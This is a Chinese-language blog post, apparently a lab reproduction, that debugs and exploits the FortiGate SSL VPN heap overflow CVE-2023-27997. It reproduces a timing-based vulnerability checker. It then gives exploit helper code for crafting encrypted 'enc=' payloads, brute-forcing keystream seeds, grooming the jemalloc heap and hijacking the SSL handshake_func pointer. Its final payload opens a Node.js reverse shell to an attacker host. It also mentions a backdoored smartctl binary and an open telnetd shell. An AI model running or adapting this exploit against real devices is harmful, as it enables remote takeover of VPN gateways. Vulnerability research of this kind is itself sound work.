Fortigate SSLVPN-CVE-2023-27997

Fortigate SSLVPN-CVE-2023-27997

henry Lv4

Debug & exploit

fortigate 虚拟机的ip地址:192.168.127.133

测试机(fortigate)booting the kernel的时候,立马回到调试机,执行target remote 192.168.127.1:12345

然后在测试机输入登录账号(admin)和密码(mhl123),在测试机执行

1
diagnose hardware smartctl

因为smartctl已经被替换为了后门文件,所以这里会触发后门程序

如果这里不执行这个命令的话,会像下面这张图一样,在第一次执行的时候 telnet 连接不上去,在执行之后,第二次连接就会正常连接到测试机

1
telnet 192.168.127.133 22

nipaste_2025-02-19_17-31-5

注意要把下面的服务都打开,一定要记得把 telnet 加上去

1
2
3
4
5
6
config system interface
edit port1
set mode static
set ip 192.168.127.133 255.255.255.0
set allowaccess http https ping ssh telnet
end

nipaste_2025-02-19_17-25-4

如果不加的话,可能会导致会在调试的时候出现下面的情况(链接直接被中断):

nipaste_2025-03-02_18-41-5

gdb挂起调试程序sslvpnd

1
2
3
4
5
6
7
8
9
10
11
/ # busybox ps -ef | grep /bin/sslvpnd
192 0 0:00 /bin/sslvpnd
311 0 0:00 grep /bin/sslvpnd
/ # busybox ps -ef | grep telnet
205 0 0:00 /bin/telnetd
301 0 0:00 /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22
314 0 0:00 grep telnet
/ # busybox kill 205&&gdbserver-7.10.1-x64 :23 --attach 192
Attached; pid = 192
Listening on port 23
Remote debugging from host 192.168.127.142

nipaste_2025-02-19_17-38-0

然后我们就可以正常通过gdb来连接这个程序的服务了

nipaste_2025-02-19_17-51-0

nipaste_2025-02-19_17-51-1

关于这个漏洞的产生与利用原理,https://blog.lexfo.fr/xortigate-cve-2023-27997.html 在这篇博客中已经介绍的非常详细了(建议在阅读本文后续内容时,先学习这篇博客),本篇文章的重点在于实战调试分析以及利用该漏洞。

Detect vuln

https://github.com/BishopFox/CVE-2023-27997-check

可以使用这个仓库的工具来检测目标靶机是否存在该漏洞,所以我们可以先用这个脚本来进行一个简单的检测。

nipaste_2025-02-24_10-49-4

这里返回值是 vulnerable,说明存在该漏洞。

CVE-2023-27997 漏洞可通过向 FortiGate SSL VPN/remote/hostcheck_validate/remote/logincheck 端点发送包含 enc= 参数的特制 GET 或 POST 请求来触发。

先来解构一下这个检查脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3

import requests, struct, hashlib, sys, os, re
from urllib3.exceptions import InsecureRequestWarning
from scipy.stats import ttest_ind
import numpy as np

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Default 400 requests with valid length and 400 requests with too high of a length
# In most cases, we should break out of the loop long before we hit this number.
REQUESTS_PER_GROUP = 400


def gen_enc_hdr(salt, l):
magic = b"GCC is the GNU Compiler Collection."
ks = hashlib.md5(salt + b"00bfbfbf" + magic).digest()
length = struct.pack("<H", l)
return "00bfbfbf{:02x}{:02x}".format(length[0] ^ ks[0], length[1] ^ ks[1])


def make_req(session, baseurl, salt, allocsize, reqsize):
payload = gen_enc_hdr(salt, reqsize) + "41" * allocsize
payload = "ajax=1&username=test&realm=&enc=" + payload
r = session.post(
baseurl + "/remote/hostcheck_validate",
headers={"content-type": "application/x-www-form-urlencoded"},
verify=False,
data=payload,
)
return r


def reject_outliers(data):
# This rejects ~25% of responses, but gives us much better sensitivity by filtering out random spikes in latency
q3 = np.quantile(data, 0.75)
return list(filter(lambda x: x <= q3, data))


def check_stats(regular, overflow):
overflow = reject_outliers(overflow)
regular = reject_outliers(regular)
t_stat = ttest_ind(overflow, regular, equal_var=False)
return len(overflow), len(regular), t_stat


def check_target(baseurl):
r = requests.get(baseurl + "/remote/info", verify=False)
reg = re.compile("salt='([0-9a-f]{8})'")
matches = reg.findall(r.text)
if len(matches) != 1:
return "ERROR: not FortiGate ssl vpn?"
salt = matches[0].encode()

# allocations of size 0xe000+1-0x10000 are all in the same size class
# we leave a 2KiB gap after our allocation but before the next chunk, so vulnerable devices will only corrupt unused memory
alloc_size = 0xF800

overflow = []
regular = []
s = requests.Session()

for i in range(REQUESTS_PER_GROUP):
r1 = make_req(s, baseurl, salt, alloc_size, alloc_size + 0xF0)
overflow.append(r1.elapsed.microseconds)

r2 = make_req(s, baseurl, salt, alloc_size, alloc_size // 2)
regular.append(r2.elapsed.microseconds)

if i > 20 and i % 10 == 0:
nr, no, t = check_stats(regular, overflow)
if nr > 20 and no > 20 and t.pvalue < 0.001:
break
_, _, t_stat = check_stats(regular, overflow)

if t_stat.pvalue > 0.001 or (-2 < t_stat.statistic < 2):
print("WARNING: Low confidence results.")

if t_stat.statistic < -0.5:
return "Patched"
elif t_stat.statistic > 0.5:
return "Vulnerable"
else:
return "Unknown"


if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: detect {} <IP> <PORT>".format(os.path.basename(__file__)))
exit(0)
baseurl = "https://{}:{}".format(sys.argv[1], sys.argv[2])
print("Checking " + baseurl)
print(check_target(baseurl))

先来对函数进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def gen_enc_hdr(salt, l):
magic = b"GCC is the GNU Compiler Collection."
ks = hashlib.md5(salt + b"00bfbfbf" + magic).digest()
length = struct.pack("<H", l)
return "00bfbfbf{:02x}{:02x}".format(length[0] ^ ks[0], length[1] ^ ks[1])

def make_req(session, baseurl, salt, allocsize, reqsize):
payload = gen_enc_hdr(salt, reqsize) + "41" * allocsize
payload = "ajax=1&username=test&realm=&enc=" + payload
r = session.post(
baseurl + "/remote/hostcheck_validate",
headers={"content-type": "application/x-www-form-urlencoded"},
verify=False,
data=payload,
)
return r

gen_enc_hdr(salt, reqsize) + "41" * allocsize用来生成一个合法的enc请求内容,gen_enc_hdr用来生成一个请求头,即下图中的SEEDSIZE的内容,SEED 对应上面函数的内容为00bfbfbfSIZE对应上面函数的内容为length[0] ^ ks[0], length[1] ^ ks[1],需要注意的是下面的数据都是字符,比如SEED是由八个十六进制字符表示,并不是对应内存中的4个字节,这个需要注意一下。

最后通过 r 构造整个POST请求包发送给/remote/hostcheck_validate进行漏洞验证

nipaste_2025-02-24_14-22-0

1
2
3
4
5
6
7
8
9
10
def reject_outliers(data):
# This rejects ~25% of responses, but gives us much better sensitivity by filtering out random spikes in latency
q3 = np.quantile(data, 0.75)
return list(filter(lambda x: x <= q3, data))

def check_stats(regular, overflow):
overflow = reject_outliers(overflow)
regular = reject_outliers(regular)
t_stat = ttest_ind(overflow, regular, equal_var=False)
return len(overflow), len(regular), t_stat

上面这个函数其实如果看了原博客 中的解释,就很容易理解了,该脚本的目标是在检测漏洞(触发)的过程中,依然能够保持服务能够正常进行,不对服务造成破坏,该服务是通过计算请求包响应的timing来检测是否存在漏洞,在原漏洞函数中,如果通过检测之后,存在大量的md5解密计算,依照漏洞原理,若存在漏洞,则会绕过检测,尝试执行大量md5解密,这样其响应的时间比较长,但是作者考虑到网络环境中噪音的影响,所以对一些延迟比较高的数据(0.75)进行了过滤,之后进行一个t检验,判断显著性差异。

清楚了这些函数的作用,后面的check_target自然也就清楚了,我们可以尝试增加一些输出,来看看具体的表现

nipaste_2025-02-24_14-44-1

通过检测,目标靶机也确实存在该漏洞,既然已经确定存在该漏洞,那下一步我们继续重点关注其漏洞触发及其利用。

Debug vuln

nipaste_2025-02-24_14-56-2

漏洞程序是被链接到init程序中的,所以我们静态分析的时候分析init程序就好了

nipaste_2025-02-24_14-57-5

具体怎么在 ida 里面找这个函数(如果没有符号),可以通过上图搜寻上图中的字符串来定位该函数,进入到上图红框中的函数,就是我们要分析的漏洞函数啦。

nipaste_2025-02-24_15-00-3

这里就对应的就是漏洞函数,这里就不详细解释说明了,我们具体来看看怎么调试。

nipaste_2025-02-24_15-03-0

在一个终端执行上述命令,再起另外一个gdb调试终端,执行下图中的命令

nipaste_2025-02-24_15-03-2

然后就可以看见调试界面了,

nipaste_2025-02-24_15-04-4

构造如下payload发送过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
socks = []
_sk = create_ssl_ctx()

payload = b"enc=" + gen_enc_data(get_salt(_sk), b'deadbeef', 0x1f00, b'A'*(0x1000-0x18-7))

rq = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.127.133\r\nContent-Length: " + \
str(len(payload)).encode() + \
b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF8\r\nAccept: */*\r\n\r\n"+payload

print(rq)
_sk.sendall(rq)
response = _sk.recv(1024)
print(response)
_sk.close()

发送的data长度控制在0x1000-0x18-0x7,0x18为jemalloc分配堆块的标头长度,0x7为4字节seed+2字节size+1字节终止符,通过下图中的je_malloc参数我们可以确定最终申请的堆块大小是0x1000:

nipaste_2025-03-02_21-29-5

分配堆块之后,堆块内容被填充如下图所示(md5解密后):

nipaste_2025-03-02_21-33-2

不妨再来看看parse_enc_data漏洞函数中初始计算长度是怎么样的

nipaste_2025-03-02_21-41-2

上图为静态分析中的代码部分,对应下图

nipaste_2025-03-02_21-43-2

可以看到strlen对应的指针指向的内容就是我们脚本中enc参数传递的字符串,返回值为0x1fce

nipaste_2025-03-02_21-45-3

即对应的in_len值为0x1fce,这里之所以关注该值,为了绕过判断,我们需要满足

chunk_size(0x1000) < given_len(0x1f00: 前面脚本中有设置) < in_len - 5

nipaste_2025-03-02_21-53-1

在过掉判断之后,才会对我们前面je_malloc申请的0x1000的堆块进行解密处理(下图中应该是解密逻辑),

nipaste_2025-03-02_21-57-0

具体堆块中的内容如下所示:

nipaste_2025-03-02_22-11-2

我们在解密逻辑的末尾打个断点直接看解密后的数据即可:

nipaste_2025-03-02_22-13-3

可以看到我们的数据已经被解密成我们初始发送过去的数据了,但是这时候我们要关注另外一个东西,就是这里存在的溢出漏洞,相信我们之前已经了解过这个漏洞,虽然我们申请的堆块是0x1000大小的,但是对应的解密的长度却是按照given_len来的,这一点我们可以通过直接观察0x1000之后的堆块内容变化即可:

nipaste_2025-03-02_22-17-1

原本如上图所示,但是在被错误解析之后,该部分的内容如下:

nipaste_2025-03-02_22-18-0

至此,我们通过一个简单的数据包发送,搞清楚了这块的函数处理逻辑,包括漏洞造成的效果,后面我们将利用这一点来实现漏洞利用。

DBG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Num     Type           Disp Enb Address            What
1 breakpoint keep y 0x00000000015adef9 my_je_malloc
breakpoint already hit 1 time
2 breakpoint keep y 0x000000000155326b je_malloc
breakpoint already hit 1 time
6 breakpoint keep y 0x00000000015ae05f decrypt_over
breakpoint already hit 1 time


Num Type Disp Enb Address What
1 breakpoint keep n 0x00007fce339713d0 <SSL_new>
breakpoint already hit 3 times
2 breakpoint keep n 0x00000000015adef9
breakpoint already hit 19 times
4 breakpoint keep y 0x000000000155326b
breakpoint already hit 4 times
5 breakpoint keep y 0x0000000001553270
breakpoint already hit 1 time
6 breakpoint keep y 0x00007fce33971402 <SSL_new+50>
7 breakpoint keep n 0x00007fce3396edf0 <SSL_do_handshake>
breakpoint already hit 1 time
8 breakpoint keep n 0x00000000015ae05f
breakpoint already hit 1 time
9 breakpoint keep y 0x00007fce33957f53
breakpoint already hit 4 times

Jemalloc

该程序使用的是Jemalloc堆分配器,我这里使用的是python中的gdb模块来进行调试输出,主要就是用来输出堆块的分配地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import gdb

class PrintRegisterAndMemoryAtAddress(gdb.Breakpoint):
def __init__(self, address, register, output_filename, name):
# 设置断点
super().__init__(f"*{address}", gdb.BP_BREAKPOINT, internal=False)
self.silent = True # 隐藏断点信息
self.register = register # 寄存器名称
self.output_filename = output_filename # 输出文件名
self.name = name # 名称

def stop(self):
try:
# 获取指定寄存器的值
register_value = gdb.parse_and_eval(f"${self.register}")

# 确保寄存器值为无符号整数
if register_value.type.code == gdb.TYPE_CODE_INT and register_value.type.name.startswith("unsigned"):
register_value = int(register_value)
else:
register_value = int(register_value.cast(gdb.lookup_type("unsigned long")))

# 读取寄存器指向的内存值(假设 64 位整数)
memory_value = gdb.inferiors()[0].read_memory(register_value, 8)
memory_value = int.from_bytes(memory_value, byteorder="little")

# 每次写入时打开文件、写入并关闭文件
with open(self.output_filename, 'a') as output_file:
output_file.write(
f"[Breakpoint hit] {self.name}: {self.register}=0x{register_value:016x}, "
f"Value at {self.register}=0x{memory_value:016x}\n"
)
except gdb.MemoryError:
with open(self.output_filename, 'a') as output_file:
output_file.write(
f"[Breakpoint hit] {self.name}: {self.register}=0x{register_value:016x}, "
f"Value at {self.register}=UNREADABLE\n"
)
except Exception as e:
# 如果解析失败,写入错误信息
with open(self.output_filename, 'a') as output_file:
output_file.write(f"[Breakpoint hit] {self.name}: Error: {e}\n")
return False # 不暂停程序,继续执行

# 用户输入断点地址、寄存器名称和名称
def set_register_and_memory_watch(address, register, output_filename, name):
try:
PrintRegisterAndMemoryAtAddress(address, register, output_filename, name)
# 每次写入时打开文件、写入并关闭文件
with open(output_filename, 'a') as output_file:
output_file.write(f"Breakpoint set at address: {address} with register: {register} and name: {name}\n")
except Exception as e:
with open(output_filename, 'a') as output_file:
output_file.write(f"Error setting breakpoint: {e}\n")

# 注册命令
class WatchRegisterAndMemoryCommand(gdb.Command):
"""Set a breakpoint at a specific address and print a register and memory at the register when hit.

Usage: watch_register_c ADDRESS REGISTER NAME
"""
def __init__(self):
super().__init__("watch_register_c", gdb.COMMAND_USER)

def invoke(self, arg, from_tty):
args = arg.split()
if len(args) != 4:
print("Usage: watch_register_c ADDRESS REGISTER VAR_NAME FILENAME")
return
address, register, name, outputfile = args
set_register_and_memory_watch(address, register, outputfile, name)

# 注册 GDB 命令
WatchRegisterAndMemoryCommand()

gdb.write("Command 'watch_register_c' loaded. Use 'Usage: watch_register_c ADDRESS REGISTER VAR_NAME FILENAME' to set a breakpoint and log a register and its memory value.\n")

Exploit

利用流程想必已经很清楚了,就是通过溢出写,来实现劫持 SSL 结构体中的 handfunc 指针。

通过给定salt,target_byte,offset 爆破出满足条件的密钥流

如何理解满足条件的密钥流,这实际上在原作者中的博客有提到,这是因为我们想通过遍历不同的seed来找到密钥流中对应偏移的字节是否与我们想要覆盖的内存内容target_byte是否是一致的。这样我们就可以实现在溢出可控位置处写任意一字节,原文中也有提到,Jemalloc中的堆块遵循后进先出,所以说即使再将一个堆块释放掉时,再次申请依然有很大概率会得到相同的堆块,这就意味着我们可以任意写的字节数可以大大增加,不过这个过程肯定也伴随着噪音,所以说失败概率也是有的(在我的 Fortigaet7.05 的测试环境中成功率接近100%)。

nipaste_2025-02-24_16-43-2

SSL 结构体内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct ssl_st {
/*
* protocol version (one of SSL2_VERSION, SSL3_VERSION, TLS1_VERSION,
* DTLS1_VERSION)
*/
int version;
/* SSLv3 */
const SSL_METHOD *method;
/*
* There are 2 BIO's even though they are normally both the same. This
* is so data can be read and written to different handlers
*/
/* used by SSL_read */
BIO *rbio;
/* used by SSL_write */
BIO *wbio;
/* used during session-id reuse to concatenate messages */
BIO *bbio;
/*
* This holds a variable that indicates what we were doing when a 0 or -1
* is returned. This is needed for non-blocking IO so we know what
* request needs re-doing when in SSL_accept or SSL_connect
*/
int rwstate;
int (*handshake_func) (SSL *);

handshake_func 就是我们需要劫持的函数指针,位于结构体偏移0x30处,这里需要强调一下,在我的复现环境中 Fortigaet7.05 中的 SSL 结构体为 0x1c00,在 7.2版本下该结构体大小为 0x2000,所以当时在测试的时候我一度以为自己的操作过程有问题,这里特此强调一下,不必多虑。

断点下在SSL_new之后,单步跟进,一直到 CRYPTO_zalloc@plt,观察ssl结构体申请的大小

nipaste_2025-03-05_02-29-3

这里验证了我们的测试版本中 SSL 结构体大小为 0x1888,初始化之后的 SSL 结构体内容如下:

nipaste_2025-03-05_02-32-3

这里来说说我们第一步要做什么

nipaste_2025-03-05_02-47-4

这里需要创建多个 sock,然后发送 HTTP 请求,由于SSL结构体比较大,所以说这块堆区的噪音相对较小,然后就会产生如上的堆排布(上述堆喷策略可能与原作者中采用的方法不一致——即HTTP和SSL交错分配的堆布局,不过不用担心,后续笔者通过一个小的堆风水依然是覆盖相邻的下一个堆块),参考代码如下:

1
2
3
4
5
6
7
8
9
10
11
for i in range(test_count):
sk = create_ssl_ctx()

payload = b"enc=" + data

data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.127.133\r\nContent-Length: " + \
str(len(payload)).encode() + \
b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF8\r\nAccept: */*\r\n\r\n"+payload

sk.sendall(data)
socks.append(sk)

下图是我申请出来的堆块地址分布,可以看到堆块连续程度并不是太好,但是在小范围内满足相邻堆块之间的地址差为0x1c00。

nipaste_2025-03-05_02-50-3

这里我采取的策略是释放掉倒数第二和倒数第三个 sock,然后发送一个 HTTP request 大小为 0x1c00的请求,之后就形成了如下堆布局:

nipaste_2025-03-05_02-59-0

nipaste_2025-03-05_03-07-1

对应内存中的表现就是

nipaste_2025-03-05_03-08-1

这时候我们的堆风水布局已经完成,后续之后通过 sock_n+1 重复发送HTTP请求(大小要与SSL结构体相同),依然会重复占用该堆块,因此我们就可以不断完成对 SSL_n 的重复溢出写。

这里有两个注意点:

1. 我在溢出的时候,依然下了内存调试断点,导致整个过程较慢,导致触发其他 sock 过期之类的操作,				  从而在溢出过程中提前失败,这是我后来才发现的
2. 另外一个是,我在溢出填充在SSL结构体中布置栈迁移的gadget的时候没有选择溢出 SSL_n 中的函数指针字段,而是选择覆盖了一些常量值的字段,这样就最大程度保证了,程序不会提前出发崩溃

这里直接看最后的溢出效果即可:

nipaste_2025-03-05_03-17-4

这里我将 handshake_func 设置为了 0xdeadbeef,所以程序自然也就会停在这里了

nipaste_2025-03-05_03-19-1

之后我们在完成栈迁移到我们前面的 HTTP_req 中即可,这里面我们可以写很大的一块数据用来布置gadget,事实上这一部分才是真正浪费时间的部分,因为要在没有泄露堆地址的情况下,通过操作ROP来完成寄存器的设置。

最终调用等价如下C代码:

1
2
3
4
5
6
7
8
9
10
11
execlp("/bin/node", "node", "-e", 
"net=require('net');"
"cp=require('child_process');"
"sh=cp.spawn('/bin/node',['-i']);"
"client=net.Socket();"
"client.connect(1111, '192.168.127.142', function() {"
"client.pipe(sh.stdin);"
"sh.stdout.pipe(client);"
"sh.stderr.pipe(client);"
"});",
(char *)NULL);

最终效果如下:

nipaste_2025-03-05_03-27-5

我们也通过执行一段js脚本,成功输出了当前根目录下的所有文件夹,至此大功告成。

dbg command

1
2
watch_register_c 0x1553270 rax jemalloc_addr
watch_register_c 0x155326b rdi jemalloc_size

gadget正则匹配

1
grep -E "pop\s+\w+\s;\spop\s+\w+\s;\spop\s+\w+\s;\spop\s+\w+\s;\spop\s+\w+\s;\spop\s+\w+\s;" gadget.txt

API

该漏洞再利用的过程中,有一个好的封装api写起利用会比较舒服(我也是用的别人写好的),下面的代码已罗列所有核心api调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from hashlib import md5
from pwn import *
import requests
import time
import ssl
import socket
def create_ssl_ctx():
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_default_context = ssl._create_unverified_context()
_default_context.options |= ssl.OP_NO_TLSv1_3
_socket = _default_context.wrap_socket(_socket)
_socket.connect((ip, port))
return _socket

def get_salt(sk):
sk.sendall(b"GET /remote/info " \
+ b"HTTP/1.1\r\nHost:"+ip.encode()+b"\r\n\r\n")
data = sk.recv(1024)
# print(data)
# sk.close()
salt = data[data.find(b"salt=")+6:data.find(b"salt=")+14]
info("salt: "+str(salt))
return salt

def gen_ks(salt, seed, size):
magic = b'GCC is the GNU Compiler Collection.'
k0 = md5(salt+seed+magic).digest()
keystream = k0
while len(keystream) < size:
k0 = md5(k0).digest()
keystream += k0
return keystream[:size]

def gen_enc_data(salt, seed, size, data):
plaintext = p16(size) + data
keystream = gen_ks(salt, seed, len(plaintext))
ciphertext = xor(plaintext, keystream).hex()
return seed + ciphertext.encode()

def gen_seed_for_offset(salt, offset, value):
for i in range(0xffffff):
seed = "00{0:06x}".format(i).encode()
ks = gen_ks(salt, seed, offset+1)
if int(ks[offset]) == int(value):
# print("seed found: "+str(seed))
# print("keystream: "+hex(ks[offset]))
# print("value: "+str(value))
# print("offset: "+str(offset))
return seed
print("keystream not found")
exit(1)

def gen_seeds_u8(salt, offset, val):
value = p8(val)
if val == 0:
return [(b'00bfbfbf', offset - 1), (b'00bfbfbf', offset - 1)]
s = gen_seed_for_offset(salt, offset, value[0])
return [(s, offset - 2), (s, offset - 1)]

def send_payload(_sk, salt, seed, size, data=b''):
payload = b"enc="+gen_enc_data(salt, seed, size, data)
rq = b"POST " + path + b" HTTP/1.1\r\nHost: "+ip.encode()+b"\r\nContent-Length: " + \
str(len(payload)).encode() + \
b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-wwwform-urlencoded\r\nConnection: keep-alive\r\nAccept: */*\r\n\r\n"+payload
_sk.sendall(rq)
# _sk.recv(1024)

reference

https://blog.lexfo.fr/xortigate-cve-2023-27997.html

https://mp.weixin.qq.com/s/8yGthffBlJLXG0ysE_ZRgw

https://github.com/BishopFox/CVE-2023-27997-check

https://bishopfox.com/blog/cve-2023-27997-vulnerability-scanner-fortigate

https://bestwing.me/CVE-2023-27997-FortiGate-SSLVPN-Heap-Overflow.html

注意事项

关虚拟机的时候记得点击关闭客户机而不是直接点关机(关闭电源,有可能会损坏文件系统)。

  • Title: Fortigate SSLVPN-CVE-2023-27997
  • Author: henry
  • Created at : 2025-03-05 14:49:15
  • Updated at : 2025-03-05 14:59:11
  • Link: https://henrymartin262.github.io/2025/03/05/SSLVPN-CVE-2023-27997/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments
On this page
Fortigate SSLVPN-CVE-2023-27997